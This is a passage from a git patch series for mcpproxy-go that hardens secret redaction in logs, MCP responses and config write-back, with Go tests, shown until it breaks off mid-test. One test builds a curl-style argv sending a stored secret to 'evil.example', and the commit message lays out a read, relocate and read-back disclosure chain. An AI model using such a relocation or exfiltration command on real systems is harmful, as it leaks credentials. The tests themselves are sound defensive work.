c.config.URL)) + zap.String("url", c.logSafeURL())) // Mark OAuth as in progress (local state, coordinator handles cross-goroutine coordination) c.markOAuthInProgress() @@ -642,7 +642,7 @@ func (c *Client) trySSEOAuthAuth(ctx context.Context) error { } logger.Debug("🔐 Attempting SSE OAuth authentication", - zap.String("url", c.config.URL)) + zap.String("url", c.logSafeURL())) // Mark OAuth as in progress c.markOAuthInProgress() @@ -2093,7 +2093,7 @@ func (c *Client) emptyClientIDFlowError(authURL, correlationID string, dcrErr er } c.logger.Error("❌ OAuth provider requires a client_id but none is available (DCR unsupported or failed)", zap.String("server", c.config.Name), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.NamedError("dcr_error", dcrErr), zap.String("help", "Register an OAuth app with the provider and set oauth.client_id in the server config")) details := &contracts.OAuthErrorDetails{ diff --git a/internal/upstream/core/connection_url_redact_test.go b/internal/upstream/core/connection_url_redact_test.go new file mode 100644 index 000000000..7f8c7196c --- /dev/null +++ b/internal/upstream/core/connection_url_redact_test.go @@ -0,0 +1,48 @@ +package core + +import ( + "strings" + "testing" + + "github.com/stretchr/testify/assert" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// TestLogSafeURL_RedactsQueryCredentials covers the SOURCE half of issue #1148 +// (c2). Connect() logged zap.String("url", c.config.URL) into both main.log and +// the per-server server-.log, so a URL-embedded credential +// (`https://host/mcp?token=…`, an Azure SAS `sig=`, an AWS `X-Amz-Signature=`) +// was written to disk on every connection attempt — and `tail_log` then handed +// those lines to any MCP caller. +// +// Scrubbing at the tail_log read seam is necessary but not sufficient: the file +// itself is readable by anything with disk access, and it outlives the process. +func TestLogSafeURL_RedactsQueryCredentials(t *testing.T) { + cases := []struct { + name string + url string + secret string + }{ + {"token query param", "https://host/mcp?token=urlsecret999", "urlsecret999"}, + {"azure sas signature", "https://host/mcp?sig=sasSECRET123", "sasSECRET123"}, + {"access token", "https://host/mcp?access_token=at-SECRET-42", "at-SECRET-42"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + c := &Client{config: &config.ServerConfig{Name: "srv", URL: tc.url}} + got := c.logSafeURL() + assert.NotContains(t, got, tc.secret, "the configured URL must never be logged with its credential") + assert.True(t, strings.HasPrefix(got, "https://host/mcp"), "the diagnostic part of the URL must survive, got %q", got) + }) + } + + // A credential-free URL is untouched, so ordinary debugging is unaffected. + plain := &Client{config: &config.ServerConfig{URL: "https://host/mcp?debug=1"}} + assert.Equal(t, "https://host/mcp?debug=1", plain.logSafeURL()) + + // An empty URL (stdio servers) stays empty rather than becoming a marker. + empty := &Client{config: &config.ServerConfig{}} + assert.Equal(t, "", empty.logSafeURL()) +} From b55b699bc568779a377f3b3f24ba70450a80fae7 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 07:38:44 +0300 Subject: [PATCH 02/10] fix(security): bind the argv unmask, and close the six sibling gaps the #1148 review found MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round-2 review of #1148. All nine findings were reproduced against the real code before anything was changed; eight are fixed, one was a request to enumerate rather than a defect. 1 (MAJOR, introduced by #1148). unmaskArgv reverted a masked argv token by VALUE with no binding, so a caller could relocate a stored credential anywhere in the vector. The sharper half is not execution — anyone who can patch a server can already exfiltrate env secrets by pointing `command` at a shell — it is RE-DISCLOSURE: a value masked because of the FLAG in front of it (`--api-key `) has no credential shape of its own, so moving it into a bare positional slot made the very next `upstream_servers list` hand it back in the clear. Masked read → relocate write → clear read-back undid all of #1148 over an endpoint that is unauthenticated by default. The revert is now bound to the INDEX it was masked at plus the flag that bound it, which is the same shape as the safeguards the sibling contracts already carry (UnmaskEnvValues / UnmaskHeaders bind to the map key; UnmaskURL refuses a new scheme/host). A reordered or resized vector no longer round-trips its masks — the caller resends the real values, which is the safe direction. The old "ambiguous mask" refusal is gone: positional binding resolves a collision correctly instead of giving up on it. 2 (MAJOR). inspect_quarantined — the sibling of the list_quarantined path #1148 fixed, one screen away — still rendered the raw GetConnectionStatus() map (last_error included) and raw ListTools errors into its response. The claim that it "emits tool analysis only" was wrong. Two response builders extracted and scrubbed. 3 (MAJOR). scrubUpstreamText applied the 512-byte ACTIVITY-STORE cap to LIVE reads, silently truncating every tail_log line and connection error. tail_log is the primary debugging surface and a long line is what an operator opens it for. The cap moved to scrubUpstreamTextForAudit; the live scrubber no longer truncates. 4 (MAJOR). Neither tokenPattern, secretPattern nor the `=` sweep has a `user:pass@` shape, so basic-auth passwords survived every free-form scrubber. Fixed at the source in oauth.RedactSensitiveData, so the REST last_error / health.detail / Diagnostic.Cause scrubbers inherit it too. 5 (MAJOR). redactArgvWith ran the value-shaped detector ALONE on unpaired tokens — it knows database connection strings, not `https://user:pass@host` or `?token=…`. So `--endpoint ` and a bare positional URL leaked on BOTH policies while `--endpoint=` was masked: the same inline-vs-space asymmetry #1146 round 3 fixed once. Unpaired tokens now go through redactStringWith, the same function the inline branch delegates to, so the spellings agree by construction. 6 (MAJOR). #1148 started masking oauth.client_secret on the MCP read surface without giving the write path anything to recognise the mask by, so an unedited echo through oauth_json — which REPLACES the block — persisted `••••42 (17 chars)` as the client secret. unmaskLiveOAuth reverts it, bound to the field. The contract is now stated in the docs: the argv mask is an MCP rendering, reverted only by the MCP write path; REST returns and accepts `args` unredacted and stays self-consistent, and contracts.OAuthConfig carries no client_secret at all. 7 (MINOR). With the detector off for contracted leaves, the LIVE surface returned `ghp_…` in the clear whenever it sat under a benign env/header name, while the audit policy masked it — and live is the surface an unauthenticated caller reads. The detector now also runs on live, but only over a leaf the name rule left BYTE-IDENTICAL, which is exactly the gap and deliberately spares #872's component-wise connection-string rendering (`postgres://u:••••(N chars)@host/db` stays readable and editable). Because that rendering is no longer oauth's, unmaskLiveEnv / Headers / URL reproduce it and run first on the write path, so closing the disclosure does not open the read-modify-write corruption. 8 (MINOR). internal/transport/http.go logged the raw cfg.URL on 14 sites — at Error level on the streamable-HTTP path, so it fired regardless of log level — plus the OAuth client_secret at Debug. #1148's "fixed at the source" claim covered only internal/upstream/core. logSafeURL mirrors the helper that package already has; the client_secret field is now a boolean. 9 (MINOR). Not a defect: enumerated on stdioAuthContext instead. Three paths change for stdio and all three make it behave as the API-key admin it is — principalFromContext ("" → "admin"), sessionPreflightScope (nil → a scope over the full server universe, which an admin is wholly inside) and CanRevealSecrets, which is the point of the change. Three more change shape with an identical outcome (code_execution's AuthInfo, direct-dispatch gates, the preflight record's empty UserID). The rest gate on agent/user identity and are untouched. The two substantive ones are pinned by a test. No REST or MCP schema changed, so no swagger regeneration. --- docs/configuration/upstream-servers.md | 28 +- internal/oauth/logging.go | 31 +- internal/server/mcp.go | 48 +-- internal/server/mcp_activity_args.go | 83 ++++-- .../mcp_secret_redaction_hardening_test.go | 279 ++++++++++++++++++ internal/server/mcp_secret_redaction_test.go | 21 +- internal/server/mcp_server_view.go | 242 +++++++++++++-- internal/server/server.go | 34 +++ internal/transport/http.go | 53 +++- internal/transport/http_url_redact_test.go | 51 ++++ 10 files changed, 772 insertions(+), 98 deletions(-) create mode 100644 internal/server/mcp_secret_redaction_hardening_test.go create mode 100644 internal/transport/http_url_redact_test.go diff --git a/docs/configuration/upstream-servers.md b/docs/configuration/upstream-servers.md index e16dae2bc..7033c5a06 100644 --- a/docs/configuration/upstream-servers.md +++ b/docs/configuration/upstream-servers.md @@ -158,9 +158,31 @@ masked values. Nothing else changes: every other operation an unauthenticated MCP client can perform today still works. Argument vectors are masked too: a credential passed as `--api-key sk-…` in -`args` is masked by flag name and by value shape, and a masked argument echoed -back through `args_json` is reverted to the stored value rather than persisted -over it. +`args` is masked by flag name, by value shape and — since the review round on +the same issue — by URL shape in every spelling (`--flag `, `--flag=` +and a bare positional token all mask `?token=…` and `https://user:pass@host`). + +A masked value echoed back on the write path is reverted to the stored value +rather than persisted over it, and every revert is **bound to where the value +was read from**: + +| Field | Bound by | +|-------|----------| +| `env_json` / `headers_json` | the map key | +| `url` | the stored scheme, host:port and username | +| `oauth_json` → `client_secret` | the field | +| `args_json` | the **index**, plus the flag that preceded it | + +The argv binding matters: `args_json` replaces the whole vector and the caller +also chooses `command`, so a revert matched by value alone would let a caller +move a stored credential into a command line of its own choosing — or into a +positional slot the read path does not mask, and read it back in the clear. A +reordered or resized vector therefore does **not** round-trip its masks; resend +the real values, or omit `args_json` when you are not changing the arguments. + +The argv mask is a rendering of the **MCP** read surface. The REST API returns +`args` unredacted and accepts it unchanged, so REST reads and writes remain +self-consistent; only the MCP write path reverts an MCP-rendered mask. ### How you edit them diff --git a/internal/oauth/logging.go b/internal/oauth/logging.go index 6c22b622f..7b3779c1e 100644 --- a/internal/oauth/logging.go +++ b/internal/oauth/logging.go @@ -120,6 +120,21 @@ var tokenPattern = regexp.MustCompile(`(?i)(bearer\s+)[a-zA-Z0-9\-_\.]+`) // secretPattern matches common secret patterns. var secretPattern = regexp.MustCompile(`(?i)(secret|password|token|key)["']?\s*[:=]\s*["']?[a-zA-Z0-9\-_\.]+`) +// urlUserinfoPattern matches the `scheme://user:password@` prefix of a URL +// embedded in free-form text (issue #1148, review round 2). +// +// RedactURLQueryParams has masked the userinfo password since #872, but that +// function only ever sees a value the caller already knows is a URL. The +// free-form scrubbers — connection errors, tailed log lines, health.detail — +// see a URL buried in a sentence, and neither tokenPattern (bearer only) nor +// secretPattern (`=`) nor the `=` sweep below has any +// `user:pass@` shape, so a basic-auth password travelled through all of them in +// the clear. +// +// The username is deliberately kept: it is the operator's signal for WHICH +// credential failed, and it is not the secret. +var urlUserinfoPattern = regexp.MustCompile(`([a-zA-Z][a-zA-Z0-9+.\-]*://)([^\s/:@]+):([^\s/@]+)@`) + // RedactSensitiveData redacts sensitive information from a string. // It replaces tokens, secrets, and other sensitive data with redacted placeholders. func RedactSensitiveData(data string) string { @@ -127,8 +142,22 @@ func RedactSensitiveData(data string) string { return data } + // Redact URL userinfo passwords (scheme://user:pass@host). + result := urlUserinfoPattern.ReplaceAllStringFunc(data, func(match string) string { + groups := urlUserinfoPattern.FindStringSubmatch(match) + if len(groups) != 4 { + return match + } + // A ${keyring:…}/${env:…} reference is a label, not a secret; masking + // it would erase exactly what makes the line diagnosable. + if isConfigReference(groups[3]) { + return match + } + return groups[1] + groups[2] + ":***REDACTED***@" + }) + // Redact Bearer tokens - result := tokenPattern.ReplaceAllString(data, "${1}***REDACTED***") + result = tokenPattern.ReplaceAllString(result, "${1}***REDACTED***") // Redact secrets and passwords result = secretPattern.ReplaceAllStringFunc(result, func(match string) string { diff --git a/internal/server/mcp.go b/internal/server/mcp.go index 9b5b91b2d..a5ceabb8c 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -3420,7 +3420,7 @@ func (p *MCPProxyServer) handleUpstreamServers(ctx context.Context, request mcp. if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamText(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("upstream_servers", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamTextForAudit(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { // Issue #1148: the activity store persists in BBolt, streams over SSE // and is exported by `mcpproxy activity list`, so the response is @@ -3538,7 +3538,7 @@ func (p *MCPProxyServer) handleQuarantineSecurity(ctx context.Context, request m if responseText != "" { errMsg = responseText } - p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamText(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") + p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "error", scrubUpstreamTextForAudit(errMsg), time.Since(startTime).Milliseconds(), args, nil, nil, "") } else { // Issue #1148: see the matching net in handleUpstreamServers. p.emitActivityInternalToolCall("quarantine_security", targetServer, "", "", sessionID, requestID, "success", "", time.Since(startTime).Milliseconds(), args, redactBuiltinResponseForActivity(responseText), nil, "") @@ -4404,8 +4404,9 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ // Try to get connection status for diagnostics if c, exists := p.upstreamManager.GetClient(serverName); exists { - connectionStatus := c.GetConnectionStatus() - return mcp.NewToolResultError(fmt.Sprintf("Quarantined server '%s' failed to connect within %v timeout. Connection status: %v. This may indicate the server process is not running, there's a network issue, or the server is unstable (see issue #105).", serverName, connectionTimeout, connectionStatus)), nil + // Issue #1148 (round 2, finding 2): the status map carries + // last_error, which echoes the upstream URL with its credentials. + return mcp.NewToolResultError(inspectConnectionTimeoutError(serverName, connectionTimeout, c.GetConnectionStatus())), nil } return mcp.NewToolResultError(fmt.Sprintf("Quarantined server '%s' failed to connect within %v timeout. Client was never created, indicating the server may not be properly configured.", serverName, connectionTimeout)), nil @@ -4417,7 +4418,7 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ zap.String("server", serverName), zap.Error(result.err)) supervisor.RecordInspectionFailure(serverName) - return mcp.NewToolResultError(fmt.Sprintf("Connection wait failed: %v", result.err)), nil + return mcp.NewToolResultError(scrubUpstreamText(fmt.Sprintf("Connection wait failed: %v", result.err))), nil } client = result.client @@ -4451,21 +4452,11 @@ func (p *MCPProxyServer) handleInspectQuarantinedTools(ctx context.Context, requ // Force disconnect the client to update its state _ = client.Disconnect() - // Provide connection error information instead of failing completely - connectionStatus := client.GetConnectionStatus() - connectionStatus["connection_error"] = err.Error() - - toolsAnalysis = []map[string]interface{}{ - { - "server_name": serverName, - "status": "QUARANTINED_CONNECTION_FAILED", - "message": fmt.Sprintf("Server '%s' is quarantined and connection failed during tool retrieval. This may indicate the server process crashed or disconnected.", serverName), - "connection_info": connectionStatus, - "error_details": err.Error(), - "next_steps": "The server connection failed. Check server process status, logs, and configuration. Server may need to be restarted.", - "security_note": "Connection failure prevents tool analysis. Server must be stable and connected for security inspection.", - }, - } + // Provide connection error information instead of failing + // completely — scrubbed, because both the status map's last_error + // and the raw ListTools error echo the upstream URL with its + // credentials (issue #1148, round 2, finding 2). + toolsAnalysis = inspectConnectionFailedAnalysis(serverName, client.GetConnectionStatus(), err) } else { // Successfully retrieved tools, proceed with security analysis for _, tool := range tools { @@ -5204,7 +5195,9 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest // #872: the read path masks URL query/userinfo secrets; if a caller // echoes the masked url back, restore the stored real secrets so the // mask is never persisted over them (parity with the REST PATCH path). - patch.URL = oauth.UnmaskURL(url, existingServer.URL) + // #1148 round 2: unmaskLiveURL recognises THIS surface's rendering + // first, then defers to oauth.UnmaskURL for a genuinely edited URL. + patch.URL = unmaskLiveURL(url, existingServer.URL) } if protocol := request.GetString("protocol", ""); protocol != "" { patch.Protocol = protocol @@ -5279,7 +5272,10 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest } } // #872: revert any masked env value echoed back by the caller. - patch.Env = oauth.UnmaskEnvValues(patch.Env, existingServer.Env) + // #1148 round 2: the live view can mask a value oauth's name rule left + // alone (a vendor-shaped credential under a benign name), so this + // surface's own rendering is recognised first. + patch.Env = oauth.UnmaskEnvValues(unmaskLiveEnvValues(patch.Env, existingServer.Env), existingServer.Env) } // Handle headers JSON string - maps are deep merged with RFC 7396 null-means-remove @@ -5303,7 +5299,8 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest } } // #872: revert any masked header value echoed back by the caller. - patch.Headers = oauth.UnmaskHeaders(patch.Headers, existingServer.Headers) + // #1148 round 2: see the env note above. + patch.Headers = oauth.UnmaskHeaders(unmaskLiveHeaders(patch.Headers, existingServer.Headers), existingServer.Headers) } // Handle isolation JSON string - deep merge for nested config @@ -5359,6 +5356,11 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest if err := json.Unmarshal([]byte(oauthJSON), &oauth); err != nil { return nil, opts, fmt.Errorf("invalid oauth_json format: %v", err) } + // #1148 round 2 (finding 6): list_quarantined renders the WHOLE + // config, so client_secret is masked on the read surface — and + // oauth_json REPLACES the block, so an unedited echo would persist + // the mask over the real secret. Revert it, bound to the field. + unmaskLiveOAuth(&oauth, existingServer.OAuth) if err := oauth.Validate(); err != nil { return nil, opts, fmt.Errorf("invalid oauth_json: %w", err) } diff --git a/internal/server/mcp_activity_args.go b/internal/server/mcp_activity_args.go index c4603d3af..4734e34cf 100644 --- a/internal/server/mcp_activity_args.go +++ b/internal/server/mcp_activity_args.go @@ -290,21 +290,31 @@ type redactionPolicy struct { // limit caps each string leaf, or 0 for no cap. limit int // detectContractedLeaves runs the value-shaped secret detector over the - // THREE leaf kinds internal/oauth owns a write-path unmask contract for: - // env values, header values and the server URL. + // THREE leaf kinds internal/oauth owns a write-path unmask contract for — + // env values, header values and the server URL — EVEN WHEN the name/URL + // rules already rewrote them. // - // Those three must render EXACTLY as oauth.maskedEnvValue / - // maskedHeaderValue / RedactURLQueryParams do, because - // oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL recognise an echoed - // mask by comparing against that rendering byte for byte. A live surface - // that rendered them any other way would make a read-modify-write client - // persist the mask OVER the real secret — so live surfaces turn this off - // and inherit oauth's coverage (which already includes - // RedactSensitiveData) for those three. + // Only the audit policy sets it. Those rows are never written back, so + // nothing constrains their rendering and maximal masking wins. + // + // A LIVE surface cannot mask unconditionally: oauth.UnmaskEnvValues / + // UnmaskHeaders / UnmaskURL recognise an echoed mask by comparing against + // oauth's own rendering byte for byte, and #872 deliberately renders a + // connection string component-wise (`postgres://u:••••(N chars)@host/db`) + // so an operator can edit the database name without the password mask + // being persisted as the password. + // + // It does NOT follow that a live surface must skip the detector entirely, + // which is what round 2 finding 7 caught: a vendor-shaped credential under + // a benign name (`env: {BENIGN: ghp_…}`) is invisible to the name matcher, + // so the audit policy masked it while the LIVE surface — the one an + // unauthenticated /mcp caller reads — published it. See detectContracted + // for the narrow rule that closes it, and unmaskLive* in + // mcp_server_view.go for the matching write-path revert. // // Every OTHER leaf — argv tokens, and any present or future string field - // of ServerConfig — is detector-masked unconditionally: nothing unmasks - // those, so there is no contract to honour and maximal masking wins. + // of ServerConfig — is detector-masked unconditionally under both + // policies: nothing unmasks those, so there is no contract to honour. detectContractedLeaves bool } @@ -410,7 +420,7 @@ func redactStringWith(key, s string, r redactionPolicy) string { case isActivityHeadersKey(key): return redactHeaderValueWith(key, s, r) case strings.EqualFold(key, "url"): - return r.capString(r.detectContracted(oauth.RedactURLQueryParamsWith(s, r.mask))) + return r.capString(r.detectContracted(s, oauth.RedactURLQueryParamsWith(s, r.mask))) default: // An UNCONTRACTED leaf: a plain config field, a future field, or an // argv token's value. Nothing unmasks these, so the detector always @@ -425,16 +435,32 @@ func redactStringWith(key, s string, r redactionPolicy) string { // rendering if a client echoes it back on the write path. func redactEnvValueWith(name, value string, r redactionPolicy) string { masked := oauth.RedactEnvValuesWith(map[string]string{name: value}, r.mask)[name] - return r.capString(r.detectContracted(masked)) + return r.capString(r.detectContracted(value, masked)) } -// detectContracted runs the value-shaped detector only for a policy that opted -// in for the contracted leaves. See redactionPolicy.detectContractedLeaves. -func (r redactionPolicy) detectContracted(s string) string { - if !r.detectContractedLeaves { - return s +// detectContracted runs the value-shaped detector over a leaf that +// internal/oauth owns a write-path unmask contract for (env value, header +// value, server URL). `original` is the value before the name/URL rule ran, +// `masked` the value after. +// +// AUDIT: always. Nothing writes back through an audit row. +// +// LIVE: only when the name/URL rule left the value BYTE-IDENTICAL (round 2 +// finding 7). That is exactly the reported gap — a credential the name matcher +// cannot see, like `ghp_…` under `BENIGN_NAME` — and the guard is what keeps it +// from collapsing the #872 component-wise connection-string rendering, whose +// readable scheme/host/db the operator's edit flow depends on. +// +// When the detector does fire on a live surface the rendering is no longer +// oauth's, so oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL can no longer +// recognise an echoed mask. unmaskLiveEnvValues / unmaskLiveHeaders / +// unmaskLiveURL (mcp_server_view.go) reproduce THIS rendering and run first on +// the write path, so the round trip still cannot persist a mask over a secret. +func (r redactionPolicy) detectContracted(original, masked string) string { + if !r.detectContractedLeaves && masked != original { + return masked } - return maskDetectedSecrets(s) + return maskDetectedSecrets(masked) } // redactHeaderValueWith masks one HTTP header leaf, judged by the header @@ -448,7 +474,7 @@ func (r redactionPolicy) detectContracted(s string) string { // both is the only combination that closes each other's gap. func redactHeaderValueWith(name, value string, r redactionPolicy) string { masked := oauth.RedactStringHeadersWith(map[string]string{name: value}, r.mask)[name] - return r.capString(r.detectContracted(masked)) + return r.capString(r.detectContracted(value, masked)) } // redactActivityConfigValues redacts a flat before/after value map for a @@ -532,7 +558,20 @@ func redactArgvWith(argv []interface{}, r redactionPolicy) []interface{} { continue } - out[i] = r.capString(maskDetectedSecrets(s)) + // An unpaired token — a positional argument, a flag name, or the value + // of a flag whose name says nothing. Round 2 finding 5: this ran the + // value-shaped detector ALONE, which knows database connection strings + // but not `https://user:pass@host` or `https://host?token=…`. So + // `--endpoint https://host?token=…` and the bare positional spelling + // both emitted the credential verbatim while the identical + // `--endpoint=https://host?token=…` was masked — the same + // inline-vs-space asymmetry round 3 of #1146 already fixed once. + // + // Routing through redactStringWith with NO enclosing key is what keeps + // the two spellings in step by construction: it is the same function + // the inline branch delegates to, so the URL rule, the env-name rule + // and the detector all apply to every spelling. + out[i] = redactStringWith("", s, r) maskNext = isArgvFlag(s) && oauth.IsSensitiveKeyName(argvFlagKey(s)) } diff --git a/internal/server/mcp_secret_redaction_hardening_test.go b/internal/server/mcp_secret_redaction_hardening_test.go new file mode 100644 index 000000000..b50005a0b --- /dev/null +++ b/internal/server/mcp_secret_redaction_hardening_test.go @@ -0,0 +1,279 @@ +package server + +import ( + "context" + "encoding/json" + "errors" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// This file collects the round-2 review findings on issue #1148. Each test +// names the defect it reproduces; all of them fail on the unfixed tree. + +// --------------------------------------------------------------------------- +// Finding 1: unmaskArgv reverted a mask BY VALUE with no binding, so a caller +// could relocate a stored argv credential into an arbitrary command line — and, +// worse, into a slot the READ path does not mask, turning the masked surface +// back into a disclosure surface. +// --------------------------------------------------------------------------- + +func TestUnmaskArgv_RefusesToRelocateAStoredSecret(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a"} + masked := redactedArgs(stored, liveRedaction) + require.NotEqual(t, stored[2], masked[2], "precondition: the read path masks the credential") + + t.Run("mask moved to a different index is not reverted", func(t *testing.T) { + incoming := []string{"-X", "POST", "https://evil.example/x", "-d", masked[2]} + got := unmaskArgv(incoming, stored) + assert.NotContains(t, got, stored[2], "a relocated mask must never be substituted with the real secret") + assert.Equal(t, incoming, got) + }) + + t.Run("mask kept at its index but behind a different flag is not reverted", func(t *testing.T) { + incoming := []string{"mcp-foo", "--exfil-to", masked[2]} + got := unmaskArgv(incoming, stored) + assert.NotContains(t, got, stored[2], "the revert must be bound to the flag it was masked from") + }) + + t.Run("relocation cannot launder a secret into a slot the read path leaves clear", func(t *testing.T) { + // The disclosure chain the value-keyed revert enabled: read the masked + // args, send the mask back in a POSITIONAL slot, then read again — the + // value has no credential shape, so nothing masks it the second time. + incoming := []string{masked[2]} + afterWrite := unmaskArgv(incoming, stored) + readBack, err := json.Marshal(redactedArgs(afterWrite, liveRedaction)) + require.NoError(t, err) + assert.NotContains(t, string(readBack), stored[2], + "a masked-read → relocate-write → read-back round trip discloses the secret in the clear") + }) + + t.Run("an unedited echo at its own index still round-trips", func(t *testing.T) { + assert.Equal(t, stored, unmaskArgv(masked, stored)) + }) + + t.Run("an edit elsewhere in the vector still round-trips", func(t *testing.T) { + full := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "8080"} + maskedFull := redactedArgs(full, liveRedaction) + edited := append([]string(nil), maskedFull...) + edited[4] = "9090" + assert.Equal(t, []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "9090"}, + unmaskArgv(edited, full)) + }) +} + +// --------------------------------------------------------------------------- +// Finding 2: inspect_quarantined — the sibling operation of list_quarantined — +// still rendered raw connection errors and the raw GetConnectionStatus() map +// (last_error included) into its response. +// --------------------------------------------------------------------------- + +func TestInspectQuarantined_ScrubsConnectionDiagnostics(t *testing.T) { + secret := "urlsecret999" + status := map[string]interface{}{ + "state": "error", + "connected": false, + "last_error": "dial https://host/mcp?token=" + secret + ": connection refused", + } + connErr := errors.New("read tcp: upstream https://host/mcp?token=" + secret + " reset by peer") + + timeoutMsg := inspectConnectionTimeoutError("evil", 20*time.Second, status) + assert.NotContains(t, timeoutMsg, secret, "the timeout diagnostic republishes the raw connection status") + assert.Contains(t, timeoutMsg, "evil") + + analysis := inspectConnectionFailedAnalysis("evil", status, connErr) + encoded, err := json.Marshal(analysis) + require.NoError(t, err) + assert.NotContains(t, string(encoded), secret, "connection_info / error_details republish the raw error") + assert.Contains(t, string(encoded), "QUARANTINED_CONNECTION_FAILED") + + // The caller's own status map must not be mutated in place. + assert.Contains(t, status["last_error"], secret) +} + +// --------------------------------------------------------------------------- +// Finding 3: scrubUpstreamText hard-coded the 512-byte AUDIT cap, so it +// silently truncated LIVE tool output — every tail_log line and every +// connection error. +// --------------------------------------------------------------------------- + +func TestScrubUpstreamText_LiveReadsAreNotTruncated(t *testing.T) { + long := "connect failed: " + strings.Repeat("x", 4096) + + live := scrubUpstreamText(long) + assert.Equal(t, len(long), len(live), "tail_log is the primary debugging surface; long lines must survive") + + audit := scrubUpstreamTextForAudit(long) + assert.Less(t, len(audit), len(long), "the activity store keeps its size cap") + assert.True(t, strings.HasSuffix(audit, activityErrorMessageEllipsis)) +} + +// --------------------------------------------------------------------------- +// Finding 4: scrubUpstreamText did not remove URL userinfo credentials, so +// basic-auth passwords reached tail_log lines and connection errors. +// --------------------------------------------------------------------------- + +func TestScrubUpstreamText_MasksURLUserinfo(t *testing.T) { + got := scrubUpstreamText("dial https://alice:hunter2phrase@api.example.com/mcp: connection refused") + assert.NotContains(t, got, "hunter2phrase") + assert.Contains(t, got, "api.example.com", "the host must stay readable") + assert.Contains(t, got, "connection refused") + + // Fixed in oauth.RedactSensitiveData, so the REST last_error / health.detail + // scrubbers inherit it too. + assert.NotContains(t, oauth.RedactSensitiveData("https://svc:s3cr3tvalue@host/x"), "s3cr3tvalue") +} + +// --------------------------------------------------------------------------- +// Finding 5: redactArgvWith emitted URL-shaped argv tokens verbatim in the +// space-separated `--flag ` spelling and as a bare positional, on BOTH +// policies — while the inline `--flag=` spelling was masked. +// --------------------------------------------------------------------------- + +func TestRedactArgv_MasksURLCredentialsInEverySpelling(t *testing.T) { + for _, policy := range []struct { + name string + r redactionPolicy + }{{"live", liveRedaction}, {"audit", auditRedaction}} { + t.Run(policy.name, func(t *testing.T) { + cases := map[string][]string{ + "userinfo, space-separated": {"--endpoint", "https://alice:hunter2phrase@api.example.com/mcp"}, + "userinfo, bare positional": {"https://alice:hunter2phrase@api.example.com/mcp"}, + "userinfo, inline": {"--endpoint=https://alice:hunter2phrase@api.example.com/mcp"}, + "query, space-separated": {"--endpoint", "https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + "query, bare positional": {"https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + "query, inline": {"--endpoint=https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + } + for name, argv := range cases { + got := strings.Join(redactedArgs(argv, policy.r), " ") + assert.NotContains(t, got, "hunter2phrase", "%s leaks the userinfo password", name) + assert.NotContains(t, got, "SUPERSECRETTOKEN123", "%s leaks the query credential", name) + assert.Contains(t, got, "api.example.com", "%s: the host is the audit signal", name) + } + }) + } + + // Ordinary arguments still round-trip verbatim. + assert.Equal(t, []string{"mcp-foo", "--port", "8080", "https://api.example.com/mcp"}, + redactedArgs([]string{"mcp-foo", "--port", "8080", "https://api.example.com/mcp"}, liveRedaction)) +} + +// --------------------------------------------------------------------------- +// Finding 6: oauth.client_secret is masked on the MCP read surface +// (list_quarantined) but the MCP write path had no matching unmask, so an +// MCP-read → MCP-patch round trip persisted the MASK over the real credential. +// --------------------------------------------------------------------------- + +func TestUnmaskLiveLeaves_ProtectAReadModifyWriteRoundTrip(t *testing.T) { + stored := &config.ServerConfig{ + Name: "srv", + URL: "https://host/mcp?token=urlsecret999", + Env: map[string]string{"BENIGN_NAME": "ghp_abcdefghijklmnopqrstuvwxyz0123456789"}, + Headers: map[string]string{"X-Zyx": "ghp_zyxwvutsrqponmlkjihgfedcba9876543210"}, + OAuth: &config.OAuthConfig{ClientID: "cid", ClientSecret: "oauth-secret-4242"}, + } + view := redactedServerView(stored, liveRedaction) + + t.Run("client_secret", func(t *testing.T) { + oauthView, ok := view["oauth"].(map[string]interface{}) + require.True(t, ok) + masked, ok := oauthView["client_secret"].(string) + require.True(t, ok) + require.NotEqual(t, stored.OAuth.ClientSecret, masked, "precondition: the read path masks it") + + echoed := &config.OAuthConfig{ClientID: "cid", ClientSecret: masked} + unmaskLiveOAuth(echoed, stored.OAuth) + assert.Equal(t, stored.OAuth.ClientSecret, echoed.ClientSecret, + "an unedited echo must not persist the mask over the real client secret") + + edited := &config.OAuthConfig{ClientID: "cid", ClientSecret: "brand-new"} + unmaskLiveOAuth(edited, stored.OAuth) + assert.Equal(t, "brand-new", edited.ClientSecret) + }) + + t.Run("env and headers rendered by the live view", func(t *testing.T) { + envView, ok := view["env"].(map[string]interface{}) + 